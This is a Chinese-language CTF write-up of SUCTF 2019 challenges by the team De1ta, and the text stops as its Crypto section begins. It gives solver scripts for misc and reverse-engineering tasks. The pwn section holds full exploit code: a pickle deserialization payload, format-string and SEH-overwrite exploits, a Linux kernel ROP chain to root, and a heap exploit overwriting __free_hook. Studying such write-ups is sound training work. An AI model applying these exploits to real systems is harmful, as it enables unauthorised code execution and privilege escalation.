SUCTF 2019 Writeup — De1ta

k1   ·   发表于 2019-08-20 10:17:27   ·   漏洞文章

Misc

签到

from base64 import b64decodea=open("1.txt","r").read()c=open("1.png","wb")c.write(b64decode(a))c.close()

guess_game

一个猜数字游戏,题目提供了客户端和服务端。这个游戏有10轮,每轮猜0-10共11个数字,10轮全部猜中才出flag,直接碰撞不可能。

这题主要考察对 pickle 序列化的了解,读懂 pickle 的源代码,手工构造出相应 payload 即可。

RestrictedUnpickler.py 里重写了 find_class,对反序列化的对象位置进行了限制,只允许 guess_game 下的模块,而且不允许含 __ 的内置对象。

那么可以先反序列化一个 guess_game里的game对象,然后再反序列化一个 guess_game.Ticket里的Ticket类,参数 number 随便赋一个值(比如6),然后将 Ticket 赋值给 game的curr_ticket 覆盖服务端随机生成的 Ticket,最后我们再反序列化一次最开始反序列化的 Ticket,参数 number 赋相同值。

将以上反序列化过程,对照 pickle 源代码构造好一条语句,直接循环10次打过去,就能拿到flag。

构造好的 payload

ticket = b"\x80\x04cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbd\x86bcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb."

Flag: flag{cabe5968-8143-4c45-91b7-557edab2ab4d}

game

index.html里有一句话:can u find my secret?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===的b32decode,解开可得flag

flag: suctf{U_F0und_1t}

protocol

简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。

flag: suctf{My_usb_pr0toco1_s0_w3ak}

RE

signup

gmp库计算RSA

直接在factordb分解N

from Crypto.Util.number import inversep = 282164587459512124844245113950593348271q = 366669102002966856876605669837014229419n = p*qphi = (p-1)*(q-1)e = 65537d = inverse(e,phi)c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35m = pow(c,d,n)print(hex(m)[2:-1].decode("hex"))

hardcpp

用ollvm混淆过的c++代码。

开头给了一个类似哈希的东西,先不管。

ollvm中应该开了运算混淆,流程平坦化和一些虚假分支,调试一下发现主要流程就在那一堆lamda那里。

输入一共21位长度,从下标为1开始加密,和之前一位进行一些四则运算,然后和enc比较,enc一共20位。

这些四则运算都是可逆的,所以知道一位就能求出下一位,只需要爆破下标为0的字符,即可求出flag

enc = [  0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
  0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]for j in range(256):
    a = [j]
    for i in range(0,20):
        a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff)
    s = "".join(map(chr,a))
    if "flag" in s:
        print(s)

查一下md5发现是井号,也就是第一个字符。

Akira Homework

程序有多处反调试,以及多处check,通过这些check会还原一个dll,后面多线程会进入这个dll最终到一段aes的逻辑得到flag。

程序中的字符串都被某一个字符异或加密了,所以搜不到字符串,但是可以对key数组查找引用找到所有加密的字符串。

做法以调试为主,先把地址随机化关掉,然后在所有Isdebuggerpresent和exit处下断点查看,基本遇到的反调试直接nop/jmp掉

开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret

main函数逻辑较为简单:开头起了多线程,先看主线程的逻辑:

先输入一串passwd,经过一串简单的加密,解密出来是

Akira_aut0_ch3ss_!

之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature,从中获取内容并md5校验。md5解出来是Overwatch问了下队里师傅,冒号说是文件流,可以通过以下指令写入:

type 1.txt >> WinRev.exe:signature

1.txt中放要写入的内容。把"Overwatch"字符串写入后就能通过check。

注意到两个check通过后都会调用sub_140006C10函数,里面调用了某个函数,下断跟进后发现是这两个函数

sub_140008910sub_1400089E0他们对全局变量unk_1400111A0进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10函数的引用,发现在开头起的多线程里面sub_140008B20又被调用了。简

单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10解密。判定了一个全局变量,所以只会解密一次。

全部通过这三个校验并完成,会看到解密完的结果有pe头。dump出来是个dll

之后main函数就没啥用了,sleep挂起。为了方便调试,可以修改sleep的时间,调大一些。

接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198一直没找到在哪设置。分析sub_140008D20函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20中被设置,同样的还有qword_140016178qword_140016180,他们最终被sub_140008850设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850的逻辑了。

如果wait到一个258的信号,会提示time out并推出,所以之前sleep要改长一点。

单步调试发现到sub_140007D80里面会获取输入,逐步f8跟进最终来到sub_180002880是最后的逻辑:

__int64 sub_180002880(){
  __int64 v0; // rax
  __int64 v2; // [rsp+0h] [rbp-B8h]
  __int64 v3; // [rsp+20h] [rbp-98h]
  __int64 v4; // [rsp+30h] [rbp-88h]
  __int64 v5; // [rsp+38h] [rbp-80h]
  __int64 v6; // [rsp+40h] [rbp-78h]
  __int64 v7; // [rsp+48h] [rbp-70h]
  char v8; // [rsp+50h] [rbp-68h]
  char v9; // [rsp+68h] [rbp-50h]
  char v10; // [rsp+80h] [rbp-38h]
  __int64 v11; // [rsp+90h] [rbp-28h]

  memset(&v8, 0, 0x11ui64);
  ucrtbase_puts("Now check the sign:");
  sub_1800027A0("%32s", &v8);
  v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput");
  if ( v5 )
  {
    kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64);
    kernel32_CloseHandle(v5);
    v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory");
    if ( v4 )
    {
      v3 = 0x8000i64;
      kernel32_MapViewOfFile();
      v7 = v0;
      if ( v0 )
      {
        kernel32_CloseHandle(v4);
        v6 = ucrtbase_malloc(0x8000i64);
        vcruntime140_memset(v6, 0i64, 0x8000i64);
        vcruntime140_memcpy(v6, v7, 0x8000i64);
        strcpy(&v10, "Ak1i3aS3cre7K3y");
        memset(&v9, 0, 0x11ui64);
        sub_180002800(&v10, &v9, v6);
        if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) )
          sub_1800026F0("wow... game start!\n");
        else
          sub_1800026F0("Get finally answer!\n");
      }
      else
      {
        kernel32_CloseHandle(v4);
      }
    }
  }
  return sub_180002AB0((unsigned __int64)&v2 ^ v11);}

其中sub_180002800很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:

flag{Ak1rAWin!}

babyunic

使用unicorn引擎,翻一下unicorn源码可以得知几个函数及参数的意思

https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/unicorn.h

https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/mips.h

可以得知架构是mips,小端序

输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。

ida自带有mips小端序处理器模块,使用retdec插件可以反编译,但是效果不是很好。

不过代码逻辑特别简单,很容易能看懂。

先是循环左移三位,然后异或下标,最后互相加减计算出42个结果。

因此只需解42元方程组。

编写脚本提取出方程组:

bg = 0x00000378
end = 0x00007058
addr = bg

def next_instr(addr):
    return addr+ItemSize(addr)
counter = 0
counter_c = 1

while(addr<end):
    counter = 0
    print "flag[0]",
    while(True):
        next = next_instr(addr)
        mnem = GetMnem(addr)

        if 'addiu' in mnem:
            counter+=1
        elif 'addu' in mnem:
            print "+ flag[%d]"%counter,
        elif "subu" in mnem:
            print "- flag[%d]"%counter,
        if "sw" in GetDisasm(addr):
            print("== cipher[%d]"%counter_c)
            addr = next
            addr = next_instr(addr)
            addr = next_instr(addr)
            break
        addr = next
    counter_c+=1

然后用文本操作提取出矩阵,解出flag

from numpy import *from struct import unpackA = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1],[1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1],[1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1],[1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1],[1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1],[1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1],[1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1],[1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1],[1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1],[1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1],[1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1],[1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1],[1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1],[1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1],[1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1],[1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1],[1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1],[1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1],[1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1],[1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1],[1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1],[1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1],[1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1],[1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1],[1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1],[1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1],[1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1],[1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1],[1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1],[1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1],[1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1],[1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1],[1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1],[1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1],[1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1],[1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1],[1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1],[1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1],[1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1],[1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1],[1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1],[1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]])res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex")y = []for i in range(42):
    tmp = res[i*4:i*4+4]
    tmp = unpack(">i",tmp)[0]
    y.append(tmp)B = mat(y)B = B.reshape(42,1)B = A.I*BB = B.reshape(1,42)B = B.tolist()[0]for i in range(42):
    B[i] = int(round(B[i]))
    B[i]^=i
    B[i] = (B[i]>>3)|(B[i]<<5)
    B[i]&=0xffprint("".join(map(chr,B)))

Rev

不太懂c++,瞎调。

首先在00000001400016A3有两个check,一开始不知道干啥的,随便试

后面看到sub_140002B80里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10

之后在0000000140001763附近把第一组异或了0xAB,然后和常量对比。然而常量只有5字节,实在想不出还有啥东西了,就直接跳过了

下一部分校验长度4,然后校验大写字母,然后是A-G,后一字节依次比前一字节大2,得出ACEG

最后一部分先是atoi,然后校验偶数,和两个方程。直接z3求出。

from z3 import Solvers = Solver()x = BitVec("x",32)s.add(x&1==0)s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9)s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70)print(s.check())print(s.model())

得到flag:

suctf{ACEG31415926}

Pwn

playfmt

flag在堆上格式化字符串读出来就可以

from pwn import *context.log_level = "debug"main_ebp_offset = 26def format_offset(format_str , offset):
    return format_str.replace("{}" , str(offset))def get_target(offset , name):
    payload = format_offset("%{}$p\x00" , offset)
    p.sendline(payload)
    text = p.recv()
    try:
        value = int(text.split("\n")[0] , 16)
        print(name + " : " + hex(value))
        return value
    except Exception, e:
        print textdef modify_byte(last_byte , offset):
    payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
    p.sendline(payload)
    p.recv()def modify(addr , value , ebp_offset , ebp_1_offset):
    addr_last_byte = addr & 0xff
    for i in range(4):
        now_value = (value >> i * 8) & 0xff
        modify_byte(addr_last_byte + i ,  ebp_offset)
        modify_byte(now_value , ebp_1_offset)p = process("./playfmt")#elf = ELF("./playfmt")#p = remote("120.78.192.35",9999)elf = ELF("./playfmt")p.recvuntil("=\n")gdb.attach(p)raw_input()play_ebp_addr = get_target(6,  "ebp")raw_input()ebp_addr = get_target(6,  "ebp")flag_ptr = 19flag_addr = get_target(flag_ptr , "addr") - 0x420log.info(hex(flag_addr))modify(ebp_addr + 4 , flag_addr , 6 , 14)payload = format_offset("%{}$s\x00" , 14 + 1)p.send(payload)p.interactive()

babystack

为方便本地测试,先可选头中的地址随机化选项关掉。

开始让你输入一个数,这里有栈溢出,但是没用,因为最后是直接exit掉的。

注意到0040853C有一处花指令,实际上这里就是获取下一行的地址,然后把输入减去这个地址,然后输入除以它。

这时想到,如果除以零会怎样,于是输入0040853C,发现通过异常处理进入了新的函数sub_407F60

分析这里的功能,它提供了10次任意地址读取。输入选项yes和no的时候有栈溢出,同时如果输入的不是yes或no,调用fgets又能栈溢出。

开头写死了两个1。结束时会把他们相加然后与三校验,正确会输出flag。我们输入的字符串是在这两个数据高位的,所以不能溢出覆盖到他们。

同时由于最后也是exit掉的,所以也不能覆盖返回地址。

测试了下任意地址读取,如果输入非法地址会异常,进入一个异常处理函数。

观察一下函数开头的代码:

.text:00407F60                 push    ebp
.text:00407F61                 mov     ebp, esp
.text:00407F63                 push    0FFFFFFFEh
.text:00407F65                 push    offset dword_47ACC0
.text:00407F6A                 push    offset SEH_407F60
.text:00407F6F                 mov     eax, large fs:0
.text:00407F75                 push    eax
.text:00407F76                 add     esp, 0FFFFFF2Ch
.text:00407F7C                 mov     eax, ___security_cookie
.text:00407F81                 xor     [ebp+var_8], eax
.text:00407F84                 xor     eax, ebp
.text:00407F86                 mov     [ebp+var_1C], eax
.text:00407F89                 push    ebx
.text:00407F8A                 push    esi
.text:00407F8B                 push    edi
.text:00407F8C                 push    eax
.text:00407F8D                 lea     eax, [ebp+var_10]

security_cookie是全局变量上一个值,每一个进程自始至终是固定的。它异或到了ebp-8的数据上,调试一下发现这里指向SEH结构体,之后又异或了ebp放到ebp-1Ch作为canary。

想到可以在栈上伪造一个seh结构体,然后把ebp-8覆盖成我们伪造的结构体,结构体中的异常处理函数改成程序中的后门地址。由于这个地址异或了cookie,所以我们还要读取cookie的值。

经过多次调试发现还有一些栈上的值不能变,通过计算偏移覆盖或者直接用任意地址读取后覆盖。需要注意的是ebp-4应为0。

from pwn import *main_aslr = 0x1c395emain_addr = 0x0040395Ecookie_addr = 0x0047C004stack_addr = 0x19FF10cookie_aslr = cookie_addr-main_addr+main_aslrdef leak_stack(stack):
    p.recvuntil("Do you want to know more?")
    p.sendline("yes")
    p.recvuntil("Where do you want to know?")
    p.sendline(str(stack-stack_addr+stack_aslr))
    p.recvuntil("value is ")
    s = p.recvline().strip()
    s = eval(s)
    return sp = remote("121.40.159.66","6666")p.recvuntil("stack address = ")stack_aslr = eval(p.recv(8))log.success("stack:0x%x"%stack_aslr)p.recvuntil("main address = ")main_aslr = eval(p.recv(8))log.success("main:0x%x"%main_aslr)str4_addr = 0x0019FE48-stack_addr+stack_aslrp.recvuntil("So,Can You Tell me what did you know?")p.sendline("00408541")p.recvuntil("Do you want to know more?")p.sendline("yes")p.recvuntil("Where do you want to know?")p.sendline(str(cookie_aslr))p.recvuntil("value is ")cookie = p.recvline().strip()cookie = eval(cookie)log.success("cookie:0x%x"%cookie)s1 = leak_stack(0x19fed4)s4 = leak_stack(0x19fee0)s5 = leak_stack(0x19fee4)p.recvuntil("Do you want to know more?")p.sendline("y")payload = 'aaaa' + p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(0x408224-main_addr+main_aslr)+p32(0x00408266-main_addr+main_aslr)payload = payload.ljust(144,"a") + p32(s1) + 'a'*8 + p32(s4) + p32(s5) + p32(cookie^str4_addr) + p32(0)print(len(payload))p.sendline(payload)p.recvuntil("Do you want to know more?")p.sendline("yes")p.recvuntil("Where do you want to know?\r\n")p.sendline("0")p.interactive()

sudrv

格式化拿内核地址和栈地址,堆溢出覆盖,多次分配到栈上ROP。

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <pthread.h>#include <sys/stat.h>#include <unistd.h>#include <errno.h>#include <fcntl.h>#include <sys/ioctl.h>#include <memory.h>#include <pty.h>#include <signal.h>#define kalloc  0x73311337#define kfree   0x13377331#define printk  0xDEADBEEF#define prepare_off 0x81790#define commit_off  0x81410#define pop_rdi_ret 0x3a591c#define mov_rdi_cr4 0x4e5b1#define pop_rdx_ret 0x44f17#define mv_rax_in_rdx   0x6b31void error_quit(char *p){
    perror(p);
    exit(-1);}void (*commit_creds)(void *);void (*prepare_kernel_cred)(void *);void get_root(int arg){
    system("/bin/sh");;}int main(){
    int i,fd,t[0x100];
    char p[0x2008];
    signal(SIGSEGV, get_root);
    char *leak = "%lx %lx %lx %lx %lx kernel:0x%lx %lx %lx %lx stack:0x%lx %lx %lx %lx %lx aa\n";
    unsigned long stack;
    unsigned long kernel;
        if ((fd = open("/dev/meizijiutql",O_RDWR)) == -1)
        error_quit("open error");
    for (i = 0; i < 0x103; i++)
        ioctl(fd, kalloc, 0xff9);
    write(fd, leak, strlen(leak));
    ioctl(fd, printk, 0);
    ioctl(fd, printk, 0);
    printf("input kernel_base\n");
    scanf("%lx",&kernel);
    kernel = kernel & 0xfffffffffff00000;
    kernel -= 0x100000;
    printf("input stack_addr\n");
    scanf("%lx",&stack);
    stack = stack & 0xfffffffffffff000;
    *((unsigned long *)&p[0x1000]) = stack;
    write(fd, p, 0x1008);
    memset(p,0x90,0x2000);
    unsigned long *rop = (unsigned long *)&p[0xe50-8];
    i = 0;
    printf("0x%lx\n",pop_rdi_ret+kernel);
    sleep(1);
    rop[i++] = pop_rdi_ret + kernel;
    rop[i++] = 0;
    rop[i++] = prepare_off + kernel;
    rop[i++] = pop_rdx_ret + kernel;
    rop[i++] = stack + 0xe80;
    rop[i++] = mv_rax_in_rdx + kernel;
    rop[i++] = pop_rdi_ret + kernel;
    rop[i++] = 0x6f0;
    rop[i++] = commit_off + kernel;
    rop[i++] = 0xa00d5a + kernel;
    rop[i++] = 0x246;
    rop[i++] = 0x021880 + kernel;
    rop[i++] = get_root;
    rop[i++] = 0x33;
    rop[i++] = 0x246;
    rop[i++] = p;
    rop[i++] = 0x2b;
    for (i=0;i<0x700;i++)
    {
        ioctl(fd, kalloc, 0xff9);
        write(fd, p, 0x1000);
    }
    return 0;}

二手旧电脑

这道题比较简单

漏洞很明显,off by null

利用 off by null 可以控制其他chunk

然后再fastbin attack到heap第一个chunk那里

再利用题目给的rename,就可以进行任意写,写到free_hook为system,然后就可以了

exp如下

from pwn import *debug=0context.log_level='debug'if debug:
    p=process('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)else:
    p=remote('47.111.59.243', 10001)def ru(x):
    return p.recvuntil(x)def se(x):
    p.send(x)def sl(x):
    p.sendline(x)def add(sz,name,price):
    sl('1')
    ru('length: ')
    sl(str(sz))
    ru('Name: ')
    se(name)
    ru('Price: ')
    sl(str(price))
    ru('>>> ')def comment(idx,content,score):
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Comment on')
    se(content)
    ru('score:')
    sl(str(score))
    ru('>>> ')def throw(idx):
    sl('3')
    ru('index: ')
    sl(str(idx))
    ru('Comment ')
    data = ru(' will')[:-5]
    ru('>>> ')
    return dataadd(0x200,'a\n',100)add(0x100,'a\n',200)comment(0,'aaaa\n',100)throw(0)add(0x10,'a\n',100)comment(0,'a',100)libc = u32(throw(0)[4:8])if debug:
    base = libc-0x1b27b0else:
    base = libc-0x1b07b0throw(1)add(0x200,'c'*20+'\n',100)throw(0)add(0xc,'wwwww\n',100)comment(0,'a'*0x10,200)heap = u32(throw(0)[0x10:0x14])-0x48for i in range(8):
    add(0x10,'a\n',100)for i in range(8):
    throw(i)add(0x10,'b\n',200) #0add(0xa0,'a\n',100) #1add(0xfc,'a\n',100) #2add(0xfc,'b\n',200) #3add(0xfc,'c\n',300) #4throw(2)add(0xfc,(p32(0)*3+p32(0xf1)+p32(heap+0x288)+p32(heap+0x288)+p32(heap+0x278)*4).ljust(0xf8,'a')+p32(0xf0),200) #2throw(3)add(0xec,'a\n',100) #3add(0xfc,'b\n',200) #5throw(3)add(0x2c,'qqqqqq\n',100) #3add(0xbc,'a\n',100) #6throw(3)throw(2)#free_hook =  base + 0x1b38b0free_hook = base + 0x1b18b0add(0xfc,p32(0)*3+p32(0x31)+p32(heap)+'\n',100) #2add(0x2c,p32(0)+p32(heap+0x8)+p32(0)+p32(free_hook)+p32(0)+p32(heap+0x298)+'/bin/sh\0'+'\n',100) #3add(0x2c,p32(heap+0x290)+p32(heap+0x280)+'\n',100) #7sl('4')ru('Give me an index: ')sl('1')sleep(0.5)se(p32(heap+0x290)+p32(heap+0x288))ru('Wanna get more power?(y/n)')sl('y')ru('Give me serial:')se('e4SyD1C!')sleep(0.5)#se('a'+p32(base+0x3ada0))se('a'+p32(base+0x3a940))print(hex(free_hook))print(hex(base))print(hex(heap))p.interactive()

Crypto

Prime

题目给出4个N,不知道是咋生成的

